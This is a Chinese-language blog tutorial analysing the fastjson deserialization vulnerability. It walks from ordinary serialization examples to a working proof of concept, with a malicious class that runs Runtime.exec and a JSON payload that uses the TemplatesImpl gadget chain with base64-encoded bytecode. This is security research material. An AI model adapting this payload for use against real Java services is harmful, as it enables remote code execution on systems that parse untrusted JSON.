親手帶你解決Debug Fastjson的安全漏洞

更新時(shí)間：2020年06月11日 09:38:13 作者：Java架構(gòu)俱樂(lè)部

這篇文章主要介紹了親手帶你解決Debug Fastjson的安全漏洞，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

簡(jiǎn)介

Java處理JSON數(shù)據(jù)有三個(gè)比較流行的類(lèi)庫(kù)，gson(google維護(hù))、jackson、以及今天的主角fastjson，fastjson是阿里巴巴一個(gè)開(kāi)源的json相關(guān)的java library，地址在這里，

https://github.com/alibaba/fastjson，

Fastjson可以將java的對(duì)象轉(zhuǎn)換成json的形式，也可以用來(lái)將json轉(zhuǎn)換成java對(duì)象，效率較高，被廣泛的用在web服務(wù)以及android上，它的JSONString（）方法可以將java的對(duì)象轉(zhuǎn)換成json格式，同樣通過(guò)parseObject方法可以將json數(shù)據(jù)轉(zhuǎn)換成java的對(duì)象。

大概在4月18號(hào)的時(shí)候，fastjson進(jìn)行了一次安全更新，通告在這里

https://github.com/alibaba/fastjson/wiki/security_update_20170315，

當(dāng)時(shí)對(duì)這也不熟悉，斷斷續(xù)續(xù)看了幾天也沒(méi)什么收獲(主要是因?yàn)樘肆薚AT)。最近有人出了poc以及分析的文章就跟進(jìn)了一下，漏洞還是挺有意思。

fastjson簡(jiǎn)單使用介紹

工欲善其事，必先利其器，要想研究這個(gè)漏洞，就要先要了解這個(gè)fastjson是干什么的。自己研究了一下這個(gè)類(lèi)庫(kù)。User.java code如下：

testFastJson.java code如下：

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("果汁簡(jiǎn)歷");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //通過(guò)parse方法進(jìn)行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //通過(guò)parseObject方法進(jìn)行反序列化  通過(guò)這種方法返回的是一個(gè)JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //通過(guò)這種方式返回的是一個(gè)相應(yīng)的類(lèi)對(duì)象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

輸出是這樣

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁簡(jiǎn)歷","sex":"male","username":"果汁簡(jiǎn)歷"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁簡(jiǎn)歷"}
果汁簡(jiǎn)歷

{"Username":"果汁簡(jiǎn)歷","Sex":"male","sex":"male","username":"果汁簡(jiǎn)歷"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User

Fastjson漏洞詳細(xì)

fastjson漏洞出現(xiàn)的地方也就是JSON.parseObject這個(gè)方法上面。

在最開(kāi)始的時(shí)候，只能通過(guò)類(lèi)初始化時(shí)候的構(gòu)造函數(shù)或者變量的setter方法執(zhí)行惡意代碼，像是這樣

Evil.java

import java.io.IOException;
 
public class Evil {
 
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
 
    public String name;
 
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
 
    private int age;
 
    public Evil() throws IOException{
        System.out.println("i am constructor!");
    }
}

import com.alibaba.fastjson.JSON;
 
import java.io.*;
 
public class App{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用來(lái)保存每行讀取的內(nèi)容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 讀取第一行
        while (line != null) { // 如果 line 為空說(shuō)明讀完了
            buffer.append(line); // 將讀到的內(nèi)容添加到 buffer 中
            buffer.append("\n"); // 添加換行符
            line = reader.readLine(); // 讀取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
        Object obj = JSON.parseObject(Buffer.toString());
    }
}

demo.json的內(nèi)容如下

{
 "@type" : "Evil1",
 "name" : "M0rk",
 "age"  : "20"}

可以看到通過(guò)@type"特性"，就執(zhí)行了構(gòu)造函數(shù)以及私有和公有成員變量的getter和setter方法。但是這貌似還并沒(méi)有達(dá)到我們想要的結(jié)果，因?yàn)樯厦娴那闆r是需要我們能夠控制Evil這個(gè)類(lèi)（一般是通過(guò)文件寫(xiě)入），目前來(lái)看不太現(xiàn)實(shí)。

還有一種方法就是將編譯好的.class或者.jar文件轉(zhuǎn)換成byte[]，然后通過(guò)defineClass加載byte[]返回class對(duì)象。

安全研究人員發(fā)現(xiàn)了這個(gè)類(lèi)

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

這個(gè)類(lèi)存在如下的調(diào)用鏈可加載byte[]完成.class文件中對(duì)象的實(shí)例化，注意MailCiousClass需要繼承AbstractTranslet（在defineTransle方法中存在一個(gè)校驗(yàn)）。更多這個(gè)調(diào)用鏈參考鏈接
https://gist.github.com/frohoff/24af7913611f8406eaf3

如上圖所示的攻擊調(diào)用棧信息，可以看到和TemplatesImpl調(diào)用鏈完全吻合，最終還是通過(guò)defineclass加載了bytecodes[]導(dǎo)致了命令執(zhí)行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 
public class poc {
 
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
 
    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
 
    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}

總結(jié)

關(guān)于這個(gè)漏洞的構(gòu)造還是挺精巧，漏洞的利用條件比較苛刻，如要能夠利用，開(kāi)發(fā)人員對(duì)json的處理函數(shù)需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);

而大部分的開(kāi)發(fā)可能用用JSON.parse(input)就了事兒了，同時(shí)使用了parseObject和
Feature.SupportNonPublicField設(shè)置的估計(jì)不多。所以說(shuō)實(shí)際環(huán)境中挖掘fastjson的這個(gè)漏洞應(yīng)該是可遇不可求。

到此這篇關(guān)于親手帶你解決Debug Fastjson的安全漏洞的文章就介紹到這了,更多相關(guān)Debug Fastjson安全漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

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